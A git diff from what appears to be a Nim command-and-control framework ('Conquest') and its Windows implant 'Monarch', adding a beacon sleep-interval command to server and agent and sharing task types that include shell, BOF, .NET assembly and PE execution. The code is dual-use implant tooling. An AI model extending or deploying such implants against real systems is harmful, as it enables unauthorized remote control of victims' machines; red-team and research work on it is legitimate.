diff --git a/agents/monarch/client.nim b/agents/monarch/client.nim index 28c8313..38fbd3d 100644 --- a/agents/monarch/client.nim +++ b/agents/monarch/client.nim @@ -26,7 +26,7 @@ proc main() = echo "Missing agent configuration." quit(0) - let config = AgentConfig( + var config = AgentConfig( listener: ListenerUuid, ip: ListenerIp, port: ListenerPort, @@ -60,7 +60,7 @@ proc main() = # Execute all retrieved tasks and return their output to the server for task in tasks: - let result = task.handleTask() + let result = task.handleTask(config) discard config.postResults(agent, result) when isMainModule: diff --git a/agents/monarch/commands/commands.nim b/agents/monarch/commands/commands.nim index eb35cb3..dc600a9 100644 --- a/agents/monarch/commands/commands.nim +++ b/agents/monarch/commands/commands.nim @@ -1,3 +1,3 @@ -import ./[shell] +import ./[shell, sleep] -export shell \ No newline at end of file +export shell, sleep \ No newline at end of file diff --git a/agents/monarch/commands/sleep.nim b/agents/monarch/commands/sleep.nim new file mode 100644 index 0000000..47b8d61 --- /dev/null +++ b/agents/monarch/commands/sleep.nim @@ -0,0 +1,14 @@ +import os, strutils, strformat + +import ../types + +proc taskSleep*(delay: int): tuple[output: TaskResult, status: TaskStatus] = + + echo fmt"Sleeping for {$delay} seconds." + + try: + sleep(delay * 1000) + return ("\n", Completed) + + except CatchableError as err: + return (fmt"An error occured: {err.msg}" & "\n", Failed) \ No newline at end of file diff --git a/agents/monarch/http.nim b/agents/monarch/http.nim index def9f8a..186afda 100644 --- a/agents/monarch/http.nim +++ b/agents/monarch/http.nim @@ -43,6 +43,7 @@ proc getTasks*(config: AgentConfig, agent: string): seq[Task] = except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time echo "[-] [getTasks]:", err.msg + return false finally: client.close() @@ -65,6 +66,7 @@ proc postResults*(config: AgentConfig, agent: string, task: Task): bool = except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time echo "[-] [postResults]: ", err.msg + return false finally: client.close() diff --git a/agents/monarch/task.nim b/agents/monarch/task.nim index 55fa088..3348f44 100644 --- a/agents/monarch/task.nim +++ b/agents/monarch/task.nim @@ -1,11 +1,12 @@ -import base64 +import base64, strutils import ./types import ./commands/commands -proc handleTask*(task: Task): Task = +proc handleTask*(task: Task, config: AgentConfig): Task = # Handle task command case task.command: + of ExecuteShell: let (output, status) = taskShell(task.args) @@ -20,6 +21,27 @@ proc handleTask*(task: Task): Task = status: status ) + of Sleep: + # Parse arguments + let delay: int = parseInt(task.args[0]) + + # Execute task + let (output, status) = taskSleep(delay) + + # Update sleep delay in agent config + if status == Completed: + config.sleep = delay + + # Return result + return Task( + id: task.id, + agent: task.agent, + command: task.command, + args: task.args, + result: encode(output), + status: status + ) + else: echo "Not implemented" return nil diff --git a/agents/monarch/types.nim b/agents/monarch/types.nim index c5b1deb..53a69ca 100644 --- a/agents/monarch/types.nim +++ b/agents/monarch/types.nim @@ -1,28 +1,6 @@ import winim - -type - TaskCommand* = enum - ExecuteShell = "shell" - ExecuteBof = "bof" - ExecuteAssembly = "dotnet" - ExecutePe = "pe" - - TaskStatus* = enum - Created = "created" - Completed = "completed" - Pending = "pending" - Failed = "failed" - Cancelled = "cancelled" - - TaskResult* = string - - Task* = ref object - id*: string - agent*: string - command*: TaskCommand - args*: seq[string] - result*: TaskResult - status*: TaskStatus +import ../../server/types +export Task, TaskCommand, TaskResult, TaskStatus type ProductType* = enum @@ -47,7 +25,7 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "".} = wReserved*: UCHAR type - AgentConfig* = object + AgentConfig* = ref object listener*: string ip*: string port*: int diff --git a/server/agent/commands.nim b/server/agent/commands.nim index 1c337ca..7e7dfc5 100644 --- a/server/agent/commands.nim +++ b/server/agent/commands.nim @@ -1,5 +1,5 @@ -import ./commands/[shell] -export shell +import ./commands/[shell, sleep] +export shell, sleep #[ "Monarch" Agent commands: diff --git a/server/agent/commands/sleep.nim b/server/agent/commands/sleep.nim new file mode 100644 index 0000000..ed8fd78 --- /dev/null +++ b/server/agent/commands/sleep.nim @@ -0,0 +1,21 @@ +import nanoid, sequtils, strutils, strformat, terminal, times +import ../../types + +proc taskExecuteSleep*(cq: Conquest, delay: int) = + + # Create a new task + let + date: string = now().format("dd-MM-yyyy HH:mm:ss") + task = Task( + id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8), + agent: cq.interactAgent.name, + command: Sleep, + args: @[$delay], + result: "", + status: Created + ) + + # Add new task to the agent's task queue + cq.interactAgent.tasks.add(task) + + cq.writeLine(fgBlack, styleBright, fmt"[*] [{task.id}] ", resetStyle, "Tasked agent to update sleep settings.") \ No newline at end of file diff --git a/server/agent/interact.nim b/server/agent/interact.nim index b8be911..19926aa 100644 --- a/server/agent/interact.nim +++ b/server/agent/interact.nim @@ -13,6 +13,10 @@ var parser = newParser: arg("command", help="Command", nargs = 1) arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string]) + command("sleep"): + help("Update sleep delay configuration.") + arg("delay", help="Delay in seconds.", nargs = 1) + command("help"): nohelpflag() @@ -44,7 +48,9 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = arguments: seq[string] = opts.shell.get.arguments arguments.insert(command, 0) cq.taskExecuteShell(arguments) - + + of "sleep": + cq.taskExecuteSleep(parseInt(opts.sleep.get.delay)) # Handle help flag except ShortCircuit as err: @@ -52,6 +58,6 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = cq.writeLine(err.help) # Handle invalid arguments - except UsageError: + except CatchableError: cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg(), "\n") diff --git a/server/server.nim b/server/server.nim index 7831eb4..24f848b 100644 --- a/server/server.nim +++ b/server/server.nim @@ -52,7 +52,7 @@ var parser = newParser: help("Generate a new agent to connect to an active listener.") option("-l", "--listener", help="Name of the listener.", required=true) option("-s", "--sleep", help="Sleep delay in seconds.", default=some("10") ) - option("-p", "--payload", help="Agent type", choices = @["monarch"], default=some("monarch")) + option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],) command("help"): nohelpflag() diff --git a/server/types.nim b/server/types.nim index dfc8fda..698c1b7 100644 --- a/server/types.nim +++ b/server/types.nim @@ -14,6 +14,7 @@ type ExecuteBof = "bof" ExecuteAssembly = "dotnet" ExecutePe = "pe" + Sleep = "sleep" TaskStatus* = enum Created = "created"